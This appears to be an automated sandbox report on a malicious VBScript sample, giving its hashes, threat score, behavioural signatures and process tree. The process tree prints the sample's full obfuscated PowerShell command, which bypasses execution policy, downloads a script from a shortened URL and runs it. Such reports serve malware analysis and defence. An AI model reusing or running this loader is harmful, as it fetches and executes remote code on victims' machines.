Analysis
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max time kernel
12s -
max time network
17s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
24-07-2021 07:08
Static task
static1
Behavioral task
behavioral1
Sample
KHTC288.vbs
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
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Target
KHTC288.vbs
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Size
662B
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MD5
896c2bbb0dda248ac02ed60683858fa5
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SHA1
42e44987ae2d842f4e6d197bde7694d18d1dc57a
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SHA256
df8d5648e265825d946b6a3cffe442a39d04570bbe8834cfd54e2aa568fb4520
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SHA512
090bf4471502c608a3226a02efca77c4e31b345e505c6bee21d5e12b25043a45ec71daca3a73ac81523429dab2f400d3358f40bae7e2523272d7bfa762b06c81
Score
8/10
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 532 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 532 powershell.exe 532 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 532 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 1848 wrote to memory of 532 1848 WScript.exe powershell.exe PID 1848 wrote to memory of 532 1848 WScript.exe powershell.exe PID 1848 wrote to memory of 532 1848 WScript.exe powershell.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\KHTC288.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec Bypass gdr -*;Set-Variable 5 (&(Get-Item Variable:/E*t).Value.InvokeCommand.(((Get-Item Variable:/E*t).Value.InvokeCommand|Get-Member|?{(DIR Variable:/_).Value.Name-ilike'*ts'}).Name).Invoke('*w-*ct')Net.WebClient);Set-Variable S 'https://bit.ly/3wZ38ji'; (Get-Item Variable:/E*t).Value.InvokeCommand.InvokeScript((GCI Variable:5).Value.((((GCI Variable:5).Value|Get-Member)|?{(DIR Variable:/_).Value.Name-ilike'*wn*g'}).Name).Invoke((GV S -ValueO)))2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/532-61-0x0000000000000000-mapping.dmp
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memory/532-63-0x0000000002650000-0x0000000002651000-memory.dmpFilesize
4KB
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memory/532-64-0x000000001ABB0000-0x000000001ABB1000-memory.dmpFilesize
4KB
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memory/532-65-0x0000000002690000-0x0000000002691000-memory.dmpFilesize
4KB
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memory/532-66-0x000000001AB30000-0x000000001AB32000-memory.dmpFilesize
8KB
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memory/532-67-0x000000001AB34000-0x000000001AB36000-memory.dmpFilesize
8KB
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memory/532-68-0x0000000001D50000-0x0000000001D51000-memory.dmpFilesize
4KB
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memory/532-69-0x000000001B560000-0x000000001B561000-memory.dmpFilesize
4KB
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memory/532-70-0x00000000028B0000-0x00000000028B1000-memory.dmpFilesize
4KB
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memory/532-71-0x00000000024A0000-0x00000000024A1000-memory.dmpFilesize
4KB
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memory/532-72-0x000000001B790000-0x000000001B791000-memory.dmpFilesize
4KB
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memory/1848-60-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmpFilesize
8KB